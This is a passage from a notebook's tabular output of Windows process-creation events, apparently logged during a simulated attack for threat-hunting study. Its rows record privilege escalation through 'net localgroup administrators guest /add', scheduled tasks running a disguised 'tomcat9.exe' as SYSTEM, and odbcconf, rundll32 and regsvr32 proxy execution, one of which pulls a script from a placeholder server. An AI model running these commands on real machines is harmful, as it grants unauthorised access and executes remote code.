<td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>...</th>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>205</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:07.9293401Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>net.exe  localgroup administrators guest /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:07.8258879Z</td>\\n\",\n       \"      <td>net.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\net.exe</td>\\n\",\n       \"      <td>3124</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>9ee00829630656b825efdff74cb9b7ea</td>\\n\",\n       \"      <td>net1  localgroup administrators guest /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:07.9288366Z</td>\\n\",\n       \"      <td>5204.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>cc6298e64d690fd34a6ca71fe3cbd226cd8488da</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>206</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:08.0645677Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>558d69e83dbb77e85d4ee0f59b4231e7</td>\\n\",\n       \"      <td>net.exe  localgroup administrators guest /dele...</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.0641732Z</td>\\n\",\n       \"      <td>6140.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>c4613d0f849a1c577db3117229f4b6b001ff626c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>207</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:08.0993104Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>net.exe  localgroup administrators guest /dele...</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.0641732Z</td>\\n\",\n       \"      <td>net.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\net.exe</td>\\n\",\n       \"      <td>6140</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>9ee00829630656b825efdff74cb9b7ea</td>\\n\",\n       \"      <td>net1  localgroup administrators guest /delete</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.0988361Z</td>\\n\",\n       \"      <td>940.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>cc6298e64d690fd34a6ca71fe3cbd226cd8488da</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>208</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:08.3393736Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>00b0d30687e109ad5d3b0148f376689b</td>\\n\",\n       \"      <td>schtasks   /CREATE /TN \\\"MSTIC_Tomcat_TEST1\\\" /R...</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.3383606Z</td>\\n\",\n       \"      <td>5752.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>f56ae496dfa93eb6ecc9fb579f963082f80fe137</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>209</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:08.5524688Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>00b0d30687e109ad5d3b0148f376689b</td>\\n\",\n       \"      <td>schtasks   /CREATE /TN \\\"MSTIC_Tomcat_TEST2\\\" /R...</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.5478805Z</td>\\n\",\n       \"      <td>412.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>f56ae496dfa93eb6ecc9fb579f963082f80fe137</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>210</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:08.7621612Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>00b0d30687e109ad5d3b0148f376689b</td>\\n\",\n       \"      <td>schtasks   /RUN /I /TN \\\"MSTIC_Tomcat_TEST1\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.7617393Z</td>\\n\",\n       \"      <td>3616.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>f56ae496dfa93eb6ecc9fb579f963082f80fe137</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>211</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:08.9938016Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>svchost.exe -k netsvcs -p -s Schedule</td>\\n\",\n       \"      <td>2018-11-28T15:29:30.2613844Z</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\svchost.exe</td>\\n\",\n       \"      <td>1208</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>tomcat9.exe /c svchost.exe</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.9932028Z</td>\\n\",\n       \"      <td>4236.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>212</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.0064814Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>tomcat9.exe /c svchost.exe</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.9932028Z</td>\\n\",\n       \"      <td>tomcat9.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...</td>\\n\",\n       \"      <td>4236</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>b5e688d267a6160c42ca7ff7d05c8e1c</td>\\n\",\n       \"      <td>conhost.exe 0xffffffff -ForceV1</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.0059852Z</td>\\n\",\n       \"      <td>304.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>abc8783c6514a1e562a01de7ae053c14d01c9c30</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>213</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.098033Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>tomcat9.exe /c svchost.exe</td>\\n\",\n       \"      <td>2018-11-29T12:01:08.9932028Z</td>\\n\",\n       \"      <td>tomcat9.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...</td>\\n\",\n       \"      <td>4236</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>0c25df053b382d775b775f5d1159f06d</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.0975180Z</td>\\n\",\n       \"      <td>2224.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>195f49c4169bc18283ba51a4529e037785c555f4</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>214</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1322589Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>00b0d30687e109ad5d3b0148f376689b</td>\\n\",\n       \"      <td>schtasks   /RUN /I /TN \\\"MSTIC_Tomcat_TEST2\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1317335Z</td>\\n\",\n       \"      <td>4328.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>f56ae496dfa93eb6ecc9fb579f963082f80fe137</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>215</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1752755Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>svchost.exe -k netsvcs -p -s Schedule</td>\\n\",\n       \"      <td>2018-11-28T15:29:30.2613844Z</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\svchost.exe</td>\\n\",\n       \"      <td>1208</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>tomcat9.exe /c net user /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1748125Z</td>\\n\",\n       \"      <td>3004.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>216</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.188792Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>tomcat9.exe /c net user /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1748125Z</td>\\n\",\n       \"      <td>tomcat9.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...</td>\\n\",\n       \"      <td>3004</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>b5e688d267a6160c42ca7ff7d05c8e1c</td>\\n\",\n       \"      <td>conhost.exe 0xffffffff -ForceV1</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1881464Z</td>\\n\",\n       \"      <td>1800.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>abc8783c6514a1e562a01de7ae053c14d01c9c30</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>217</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.2870885Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>tomcat9.exe /c net user /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.1748125Z</td>\\n\",\n       \"      <td>tomcat9.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\tomc...</td>\\n\",\n       \"      <td>3004</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>558d69e83dbb77e85d4ee0f59b4231e7</td>\\n\",\n       \"      <td>net  user /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.2866227Z</td>\\n\",\n       \"      <td>4348.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>c4613d0f849a1c577db3117229f4b6b001ff626c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>218</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.3108931Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>net  user /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.2866227Z</td>\\n\",\n       \"      <td>net.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\net.exe</td>\\n\",\n       \"      <td>4348</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>999.0</td>\\n\",\n       \"      <td>9ee00829630656b825efdff74cb9b7ea</td>\\n\",\n       \"      <td>net1  user /add</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.3103533Z</td>\\n\",\n       \"      <td>3032.0</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>cc6298e64d690fd34a6ca71fe3cbd226cd8488da</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>219</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.3949466Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>00b0d30687e109ad5d3b0148f376689b</td>\\n\",\n       \"      <td>schtasks   /DELETE /TN \\\"MSTIC_Tomcat_TEST1\\\" /F</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.3944280Z</td>\\n\",\n       \"      <td>1784.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>f56ae496dfa93eb6ecc9fb579f963082f80fe137</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>220</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.4586071Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>00b0d30687e109ad5d3b0148f376689b</td>\\n\",\n       \"      <td>schtasks   /DELETE /TN \\\"MSTIC_Tomcat_TEST2\\\" /F</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.4580704Z</td>\\n\",\n       \"      <td>2496.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>f56ae496dfa93eb6ecc9fb579f963082f80fe137</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>221</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.5221062Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>odbcconf.exe  /S /A {REGSVR C:\\\\Users\\\\Administr...</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.5214629Z</td>\\n\",\n       \"      <td>4512.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>222</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.7194881Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>odbcconf.exe  /S /A {REGSVR C:\\\\Users\\\\Administr...</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.5214629Z</td>\\n\",\n       \"      <td>odbcconf.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\odbc...</td>\\n\",\n       \"      <td>4512</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.7190546Z</td>\\n\",\n       \"      <td>1528.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>223</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:09.8792328Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>odbcconf.exe  /f my.rspÃ¡Ã¡</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.8787418Z</td>\\n\",\n       \"      <td>5940.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>224</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:10.0500407Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>odbcconf.exe  /f my.rspÃ¡Ã¡</td>\\n\",\n       \"      <td>2018-11-29T12:01:09.8787418Z</td>\\n\",\n       \"      <td>odbcconf.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\odbc...</td>\\n\",\n       \"      <td>5940</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.0495450Z</td>\\n\",\n       \"      <td>4792.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>225</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:10.1985512Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>rundll32.exe  /C mshtml,RunHTMLApplication jav...</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.1979590Z</td>\\n\",\n       \"      <td>4812.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>226</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:10.3846446Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>rundll32.exe  /C mshtml,RunHTMLApplication jav...</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.197959Z</td>\\n\",\n       \"      <td>rundll32.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\rund...</td>\\n\",\n       \"      <td>4812</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.3841257Z</td>\\n\",\n       \"      <td>2540.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>227</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:01:10.5018734Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>regsvr32   /s /n /u /i:http://server/file.sct ...</td>\\n\",\n       \"      <td>2018-11-29T12:01:10.5014578Z</td>\\n\",\n       \"      <td>6132.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      